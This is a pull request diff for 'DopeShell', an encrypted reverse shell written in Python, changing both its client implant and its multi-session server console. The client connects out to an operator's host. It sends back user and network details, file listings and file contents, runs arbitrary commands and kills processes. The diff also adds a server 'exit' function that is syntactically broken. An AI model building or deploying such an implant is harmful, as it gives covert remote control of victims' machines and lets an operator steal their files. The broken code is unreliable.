Merge pull request #1 from manaswii/beta

Beta

Author: manaswii

DopeShell/client.py

@@ -22,6 +22,10 @@ def __init__(self, server_ip, server_port, key):
         self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
     def send_data(self, data):
+        print(type(data))
+        if (type(data) == str):
+            print('converting to bytes!')
+            data = data.encode('utf-8')
         encrypted_data = self.encrypt(data)
         # Send the length of the data first
         self.sock.send(struct.pack('>I', len(encrypted_data)))
@@ -71,7 +75,7 @@ def run(self):
         self.sock.connect((self.server_ip, self.server_port))
         while True:
             command = self.decrypt(self.sock.recv(4096)).decode('utf-8')
-            
+            print(command)
             if command.lower() == 'exit':
                 break
 
@@ -90,37 +94,42 @@ def run(self):
                     f"Current User: {getpass.getuser()}\n"
                     f"Local IP Address: {local_ip}\n"
                 )
-                self.sock.send(self.encrypt(client_info.encode('utf-8')))
+                print(type(client_info))
+                self.send_data(client_info)
 
             elif command.lower().startswith('ls'):
                 directory = command.split()[1] if len(command.split()) > 1 else '.'
                 try:
                     files = "\n".join(os.listdir(directory))
                 except FileNotFoundError:
                     files = f"[-] Directory '{directory}' not found."
-                self.sock.send(self.encrypt(files.encode('utf-8')))
+                self.send_data(files)
 
             elif command.lower() == 'pwd':
                 cwd = os.getcwd()
-                self.sock.send(self.encrypt(cwd.encode('utf-8')))
+                self.send_data(cwd)
 
             elif command.lower().startswith('cd'):
                 directory = command.split()[1] if len(command.split()) > 1 else '.'
                 try:
                     os.chdir(directory)
-                    self.sock.send(self.encrypt(b"[+] Changed directory."))
+                    message = "[+] Changed directory."
                 except FileNotFoundError:
-                    self.sock.send(self.encrypt(f"[-] Directory '{directory}' not found.".encode('utf-8')))
+                    message = f"[-] Directory '{directory}' not found"
+                self.send_data(message)
 
             elif command.lower().startswith('download'):
                 _, file_path = command.split()
                 try:
                     with open(file_path, 'rb') as f:
                         while chunk := f.read(4096):
-                            self.sock.send(self.encrypt(chunk))
-                    self.sock.send(self.encrypt(b'EOF'))
+                            # self.sock.send(self.encrypt(chunk))
+                            self.send_data(chunk)
+                    # self.sock.send(self.encrypt(b'EOF'))
+                    self.send_data(b'EOF')
                 except FileNotFoundError:
-                    self.sock.send(self.encrypt(b"[-] File not found."))
+                    # self.sock.send(self.encrypt(b"[-] File not found."))
+                    self.send_data("[-] File not found.")
 
             elif command.lower().startswith('upload'):
                 _, file_name = command.split()
@@ -139,7 +148,7 @@ def run(self):
                     output = f"Directory '{directory}' created successfully."
                 except Exception as e:
                     output = f"Failed to create directory '{directory}': {e}"
-                self.sock.send(self.encrypt(output.encode('utf-8')))
+                self.send_data(output)
 
             elif command.lower().startswith('delete'):
                 _, file_path = command.split(' ', 1)
@@ -154,7 +163,7 @@ def run(self):
                 processes = ""
                 for proc in psutil.process_iter(['pid', 'name', 'username']):
                     processes += f"PID: {proc.info['pid']}, Name: {proc.info['name']}, User: {proc.info['username']}\n"
-                self.send_data(processes.encode('utf-8'))
+                self.send_data(processes)
 
             elif command.lower().startswith('kill'):
                 _, pid = command.split(' ', 1)
@@ -163,7 +172,7 @@ def run(self):
                     output = f"Process {pid} killed successfully."
                 except Exception as e:
                     output = f"Failed to kill process {pid}: {e}"
-                self.sock.send(self.encrypt(output.encode('utf-8')))
+                self.send_data(output)
 
             elif command.lower().startswith('cat'):
                 try:
@@ -174,10 +183,10 @@ def run(self):
                         self.send_data(file_content)
                     else:
                         error_message = f"File {file_path} does not exist or is not a file."
-                        self.send_data(error_message.encode('utf-8'))
+                        self.send_data(error_message)
                 except Exception as e:
                     error_message = f"Error reading file: {str(e)}"
-                    self.send_data(error_message.encode('utf-8'))
+                    self.send_data(error_message)
 
             elif command.lower() == 'netstat':
                 netstat_output = subprocess.check_output('netstat -an', shell=True)
@@ -186,7 +195,8 @@ def run(self):
             elif command.lower() == 'clear':
                 # Clear screen command for the client shell (may not be fully visible in reverse shell setup)
                 output = "\033c"
-                self.sock.send(self.encrypt(output.encode('utf-8')))
+                # self.sock.send(self.encrypt(output.encode('utf-8')))
+                self.send_data(output)
 
             elif command.lower() in ['ifconfig', 'ipconfig']:
                 if platform.system() == 'Windows':
@@ -205,7 +215,7 @@ def run(self):
                     self.send_data(matches)
                 else:
                     output = f"No matches found for '{filename}'."
-                    self.sock.send(self.encrypt(output.encode('utf-8')))
+                    self.send_data(output)
 
             elif command.lower() == 'sysinfo':
                 sys_info = (
@@ -215,11 +225,13 @@ def run(self):
                     f"RAM: {round(psutil.virtual_memory().total / (1024**3), 2)} GB\n"
                     f"Disk: {round(psutil.disk_usage('/').total / (1024**3), 2)} GB\n"
                 )
-                self.sock.send(self.encrypt(sys_info.encode('utf-8')))
+                self.send_data(sys_info)
 
             else:
                 output = self.execute_command(command)
-                self.sock.send(self.encrypt(output))
+                print(type(output))
+                self.send_data(output)
+                # self.sock.send(self.encrypt(output))
 
         self.sock.close()
 

DopeShell/server.py

@@ -1,5 +1,6 @@
 # dopeshell/server.py
-
+# TODO:
+# differentiate between folders and files in LS command
 import socket
 import threading
 import base64
@@ -67,6 +68,10 @@ def decrypt(self, data):
         decryptor = cipher.decryptor()
         decrypted_data = decryptor.update(data[16:]) + decryptor.finalize()
         return decrypted_data
+    def exit(command):
+        client_socket.send(self.encrypt(command.encode('utf-8')))
+            break
+
 
     def handle_client(self, session_id, client_socket):
         while True:
@@ -75,8 +80,7 @@ def handle_client(self, session_id, client_socket):
             command = input(f"Session {session_id} Shell> ")
 
             if command.lower() == 'exit':
-                client_socket.send(self.encrypt(command.encode('utf-8')))
-                break
+                exit(command)
 
             if command.lower().startswith('help'):
                 parts = command.split(maxsplit=1)
@@ -96,27 +100,13 @@ def handle_client(self, session_id, client_socket):
                 client_socket.send(self.encrypt(help_text.encode('utf-8')))
                 continue
 
-            elif command.lower().startswith('ls'):
-                client_socket.send(self.encrypt(command.encode('utf-8')))
-                response = client_socket.recv(4096)
-                print(self.decrypt(response).decode('utf-8'))
-
-            elif command.lower().startswith('pwd'):
-                client_socket.send(self.encrypt(command.encode('utf-8')))
-                response = client_socket.recv(4096)
-                print(self.decrypt(response).decode('utf-8'))
-
-            elif command.lower().startswith('cd'):
-                client_socket.send(self.encrypt(command.encode('utf-8')))
-                response = client_socket.recv(4096)
-                print(self.decrypt(response).decode('utf-8'))
-
             elif command.lower().startswith('download'):
                 _, remote_path = command.split()
                 client_socket.send(self.encrypt(command.encode('utf-8')))
                 with open(os.path.basename(remote_path), 'wb') as f:
                     while True:
-                        file_data = self.decrypt(client_socket.recv(4096))
+                        # file_data = self.decrypt(client_socket.recv(4096))
+                        file_data = self.receive_data(client_socket)
                         if file_data == b'EOF':
                             break
                         f.write(file_data)
@@ -132,31 +122,7 @@ def handle_client(self, session_id, client_socket):
                 response = client_socket.recv(4096)
                 print(self.decrypt(response).decode('utf-8'))
 
-            elif command.lower() == 'info':
-                client_socket.send(self.encrypt(command.encode('utf-8')))
-                response = client_socket.recv(4096)
-                print(self.decrypt(response).decode('utf-8'))
 
-            elif command.lower() in ['mkdir', 'delete', 'kill', 'clear', 'find', 'sysinfo']:
-                client_socket.send(self.encrypt(command.encode('utf-8')))
-                response = client_socket.recv(4096)
-                print(self.decrypt(response).decode('utf-8'))
-
-            elif command.lower().startswith('cat'):
-                client_socket.send(self.encrypt(command.encode('utf-8')))
-                response = self.receive_data(client_socket)
-                print(response.decode('utf-8'))
-
-            elif command.lower() in ['ifconfig', 'ipconfig', 'find']:
-                client_socket.send(self.encrypt(command.encode('utf-8')))
-                response = self.receive_data(client_socket)
-                print(response.decode('utf-8'))
-
-            elif command.lower() in ['ps', 'netstat']:
-                client_socket.send(self.encrypt(command.encode('utf-8')))
-                response = self.receive_data(client_socket)
-                print(response.decode('utf-8'))
-            
             elif command.lower() == 'sessions':
                 self.list_sessions()
 
@@ -170,8 +136,10 @@ def handle_client(self, session_id, client_socket):
                 continue
             else:
                 client_socket.send(self.encrypt(command.encode('utf-8')))
-                response = client_socket.recv(4096)
-                print(self.decrypt(response).decode('utf-8'))
+                # response = client_socket.recv(4096)
+                # print(self.decrypt(response).decode('utf-8'))
+                response = self.receive_data(client_socket)
+                print(response.decode('utf-8'))
 
         client_socket.close()
         del self.sessions[session_id]  # Remove session on exit
@@ -181,7 +149,7 @@ def handle_client(self, session_id, client_socket):
 
     def run(self):
         print(f"[*] Listening on {self.host}:{self.port}")
-        while True: 
+        while True:
             client_socket, addr = self.sock.accept()
             session_id = self.session_counter
             print(f"[*] Connection from {addr}, Session ID: {session_id}")